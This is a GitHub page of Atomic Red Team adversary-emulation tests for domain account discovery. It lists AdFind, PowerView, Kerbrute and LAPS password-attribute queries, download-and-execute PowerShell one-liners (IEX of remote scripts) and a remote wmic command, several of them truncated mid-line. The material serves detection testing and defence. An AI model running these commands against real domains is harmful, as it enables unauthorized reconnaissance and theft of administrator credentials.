Sign in

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 4 Actions Wiki Security Insights

atomic-red-team / atomics / T1087.002 / T1087.002.md

903 lines (437 loc) · 24.3 KB

Preview Code Blame Raw

T1087.002 - Account Discovery: Domain Account

Description from ATT&CK

> Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.
> Commands such as `net user /domain` and `net group /domain` of the Net utility, `dscacheutil -q group` on macOS, and `ldapsearch` on Linux can list domain users and groups. PowerShell cmdlets including `Get-ADUser` and `Get-ADGroupMember` may enumerate members of Active Directory groups.

Atomic Tests

- Atomic Test #1 - Enumerate all accounts (Domain)
- Atomic Test #2 - Enumerate all accounts via PowerShell (Domain)
- Atomic Test #3 - Enumerate logged on users via CMD (Domain)

- Atomic Test #4 - Automated AD Recon (ADRecon)
- Atomic Test #5 - Adfind -Listing password policy
- Atomic Test #6 - Adfind - Enumerate Active Directory Admins
- Atomic Test #7 - Adfind - Enumerate Active Directory User Objects
- Atomic Test #8 - Adfind - Enumerate Active Directory Exchange AD Objects
- Atomic Test #9 - Enumerate Default Domain Admin Details (Domain)
- Atomic Test #10 - Enumerate Active Directory for Unconstrained Delegation
- Atomic Test #11 - Get-DomainUser with PowerView
- Atomic Test #12 - Enumerate Active Directory Users with ADSISearcher
- Atomic Test #13 - Enumerate Linked Policies In ADSISearcher Discovery
- Atomic Test #14 - Enumerate Root Domain linked policies Discovery
- Atomic Test #15 - WinPwn - generaldomaininfo
- Atomic Test #16 - Kerbrute - userenum
- Atomic Test #17 - Wevtutil - Discover NTLM Users Remote
- Atomic Test #18 - Suspicious LAPS Attributes Query with Get-ADComputer all properties
- Atomic Test #19 - Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property
- Atomic Test #20 - Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope
- Atomic Test #21 - Suspicious LAPS Attributes Query with adfind all properties
- Atomic Test #22 - Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd
- Atomic Test #23 - Active Directory Domain Search

Atomic Test #1 - Enumerate all accounts (Domain)

Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session

Supported Platforms: Windows

auto_generated_guid: 6fbc9e68-5ad7-444a-bd11-8bf3136c477e

Attack Commands: Run with `command_prompt`!

```
net user /domain
net group /domain
```

Atomic Test #2 - Enumerate all accounts via PowerShell (Domain)

Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.

Supported Platforms: Windows

auto_generated_guid: 8b8a6449-be98-4f42-afd2-dedddc7453b2

Attack Commands: Run with `powershell`!

```
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
```

Atomic Test #3 - Enumerate logged on users via CMD (Domain)

Enumerate logged on users. Upon exeuction, logged on users will be displayed.

Supported Platforms: Windows

auto_generated_guid: 161dcd85-d014-4f5e-900c-d3eaae82a0f7

Inputs:

Name	Description	Type	Default Value
computer_name	Name of remote system to query	string	%COMPUTERNAME%

Attack Commands: Run with `command_prompt`!

```
query user /SERVER:#{computer_name}
```

Atomic Test #4 - Automated AD Recon (ADRecon)

ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.

Supported Platforms: Windows

auto_generated_guid: 95018438-454a-468c-a0fa-59c800149b59

Inputs:

Name	Description	Type	Default Value
adrecon_path	Path of ADRecon.ps1 file	path	PathToAtomicsFolder\..\ExternalPayloads\ADRecon.ps1

Attack Commands: Run with `powershell`!

```
Invoke-Expression #{adrecon_path}
```

Cleanup Commands:

```
Get-ChildItem PathToAtomicsFolder\..\ExternalPayloads -Recurse -Force | Where{$_.N
```

Dependencies: Run with `powershell`!

Description: ADRecon must exist on disk at specified location (#{adrecon_path})

Check Prereq Commands:

```
if (Test-Path #{adrecon_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/sense-of-security/ADReco
```

Atomic Test #5 - Adfind -Listing password policy

Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx

Supported Platforms: Windows

auto_generated_guid: 736b4f53-f400-4c22-855d-1a6b5a551600

Attack Commands: Run with `command_prompt`!

```
PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe -default -s base lockoutduratio
```

Dependencies: Run with `powershell`!

Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\AdFind.exe)

Check Prereq Commands:

```
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) {exit 0} else {ex
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path PathToAtomicsFolder\..\ExternalPayloads\AdFin
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/a
```

Atomic Test #6 - Adfind - Enumerate Active Directory Admins

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/, https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/

Supported Platforms: Windows

auto_generated_guid: b95fd967-4e62-4109-b48d-265edfd28c3a

Attack Commands: Run with `command_prompt`!

```
PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe -sc admincountdmp
```

Dependencies: Run with `powershell`!

Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\AdFind.exe)

Check Prereq Commands:

```
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) {exit 0} else {ex
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path PathToAtomicsFolder\..\ExternalPayloads\AdFin
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/
```

Atomic Test #7 - Adfind - Enumerate Active Directory User Objects

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Supported Platforms: Windows

auto_generated_guid: e1ec8d20-509a-4b9a-b820-06c9b2da8eb7

Attack Commands: Run with `command_prompt`!

```
PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe -f (objectcategory=person)
```

Dependencies: Run with `powershell`!

Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\AdFind.exe)

Check Prereq Commands:

```
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) {exit 0} else {ex
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path PathToAtomicsFolder\..\ExternalPayloads\AdFin
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/
```

Atomic Test #8 - Adfind - Enumerate Active Directory Exchange AD Objects

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Supported Platforms: Windows

auto_generated_guid: 5e2938fb-f919-47b6-8b29-2f6a1f718e99

Attack Commands: Run with `command_prompt`!

```
PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe -sc exchaddresses
```

Dependencies: Run with `powershell`!

Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\AdFind.exe)

Check Prereq Commands:

```
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) {exit 0} else {ex
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path PathToAtomicsFolder\..\ExternalPayloads\AdFin
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/
```

Atomic Test #9 - Enumerate Default Domain Admin Details (Domain)

This test will enumerate the details of the built-in domain admin account

Supported Platforms: Windows

auto_generated_guid: c70ab9fd-19e2-4e02-a83c-9cfa8eaa8fef

Attack Commands: Run with `command_prompt`!

```
net user administrator /domain
```

Atomic Test #10 - Enumerate Active Directory for Unconstrained Delegation

Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user

Supported Platforms: Windows

auto_generated_guid: 46f8dbe9-22a5-4770-8513-66119c5be63b

Inputs:

Name	Description	Type	Default Value
domain	Domain FQDN	string	$env:UserDnsDomain

uac_prop	UAC Property to search	integer	524288

Attack Commands: Run with `powershell`!

```
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})
```

Dependencies: Run with `powershell`!

Description: PowerShell ActiveDirectory Module must be installed

Check Prereq Commands:

```
Try {
    Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
    exit 0
}
Catch {
    exit 1
}
```

Get Prereq Commands:

```
if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
  Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS
} else {
  Install-WindowsFeature RSAT-AD-PowerShell
}
```

Atomic Test #11 - Get-DomainUser with PowerView

Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.

Supported Platforms: Windows

auto_generated_guid: 93662494-5ed7-4454-a04c-8c8372808ac2

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Rec
```

Atomic Test #12 - Enumerate Active Directory Users with ADSISearcher

The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/

Supported Platforms: Windows

auto_generated_guid: 02e8be5a-3065-4e54-8cc8-a14d138834d3

Attack Commands: Run with `powershell`!

```
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=us
```

Atomic Test #13 - Enumerate Linked Policies In ADSISearcher Discovery

The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81

Supported Platforms: Windows

auto_generated_guid: 7ab0205a-34e4-4a44-9b04-e1541d1a57be

Attack Commands: Run with `powershell`!

```
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([AD
```

Atomic Test #14 - Enumerate Root Domain linked policies Discovery

The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81

Supported Platforms: Windows

auto_generated_guid: 00c652e2-0750-4ca6-82ff-0204684a6fe4

Attack Commands: Run with `powershell`!

```
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] D
```

Atomic Test #15 - WinPwn - generaldomaininfo

Gathers general domain information using the generaldomaininfo function of WinPwn

Supported Platforms: Windows

auto_generated_guid: ce483c35-c74b-45a7-a670-631d1e69db3d

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
generaldomaininfo -noninteractive -consoleoutput
```

Atomic Test #16 - Kerbrute - userenum

Enumerates active directory usernames using the userenum function of Kerbrute

Supported Platforms: Windows

auto_generated_guid: f450461c-18d1-4452-9f0d-2c42c3f08624

Inputs:

Name	Description	Type	Default Value
Domain	Domain that is being tested against	string	$env:USERDOMAIN
DomainController	Domain Controller that is being tested against	string	$env:UserDnsDomain

Attack Commands: Run with `powershell`!

```
cd PathToAtomicsFolder\..\ExternalPayloads
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} PathToAtomicsFolder\
```

Dependencies: Run with `powershell`!

Description: kerbrute.exe must exist in PathToAtomicsFolder..\ExternalPayloads.

Check Prereq Commands:

```
if (test-path PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe){exit 0} else {
```

Get Prereq Commands:

```
invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerl
```

Description: username text file must exist in PathToAtomicsFolder..\ExternalPayloads.

Check Prereq Commands:

```
if (test-path PathToAtomicsFolder\..\ExternalPayloads\username.txt){exit 0} else {
```

Get Prereq Commands:

```
invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atom
```

Atomic Test #17 - Wevtutil - Discover NTLM Users Remote

This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. Reference

Supported Platforms: Windows

auto_generated_guid: b8a563d4-a836-4993-a74e-0a19b8481bfe

Attack Commands: Run with `powershell`!

```
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToStrin
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers
```

Cleanup Commands:

```
Remove-Item -Path \\$IpAddress\c$\ntlmusers.evtx
```

Atomic Test #18 - Suspicious LAPS Attributes Query with Get-ADComputer all properties

This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Supported Platforms: Windows

auto_generated_guid: 394012d9-2164-4d4f-b9e5-acf30ba933fe

Inputs:

Name	Description	Type	Default Value
hostname	Name of the host	string	$env:computername

Attack Commands: Run with `powershell`!

```
Get-ADComputer #{hostname} -Properties *
```

Atomic Test #19 - Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property

This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Supported Platforms: Windows

auto_generated_guid: 6e85bdf9-7bc4-4259-ac0f-f0cb39964443

Inputs:

Name	Description	Type	Default Value
hostname	Name of the host	string	$env:computername

Attack Commands: Run with `powershell`!

```
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
```

Atomic Test #20 - Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope

This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Supported Platforms: Windows

auto_generated_guid: ffbcfd62-15d6-4989-a21a-80bfc8e58bb5

Attack Commands: Run with `powershell`!

```
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
```

Atomic Test #21 - Suspicious LAPS Attributes Query with adfind all properties

This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Supported Platforms: Windows

auto_generated_guid: abf00f6c-9983-4d9a-afbc-6b1c6c6448e1

Inputs:

Name	Description	Type	Default Value
domain	Domain of the host	string	$env:USERDOMAIN

Attack Commands: Run with `powershell`!

```
PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe -h #{domain} -s subtree -f "obj
```

Atomic Test #22 - Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd

This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Supported Platforms: Windows

auto_generated_guid: 51a98f96-0269-4e09-a10f-e307779a8b05

Inputs:

Name	Description	Type	Default Value
domain	Domain of the host	string	$env:USERDOMAIN

Attack Commands: Run with `powershell`!

```
PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe -h #{domain} -s subtree -f "obj
```

Atomic Test #23 - Active Directory Domain Search

Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory

Supported Platforms: Linux

auto_generated_guid: 096b6d2a-b63f-4100-8fa0-525da4cd25ca

Inputs:

Name	Description	Type	Default Value
domain	The domain to be tested	string	example
top_level_domain	The top level domain (.com, .test, .remote, etc... following domain, minus the .)	string	test
user	username@domain of a user within the ad database	string	user@example.test
password	password of the user with admin privileges referenced in admin_user	string	s3CurePssw0rD!

Attack Commands: Run with `sh`!

```
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password}
```

Dependencies: Run with `sh`!

Description: Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapsearch

Check Prereq Commands:

```
which ldapsearch
```

Get Prereq Commands:

```
echo ldapsearch not found
```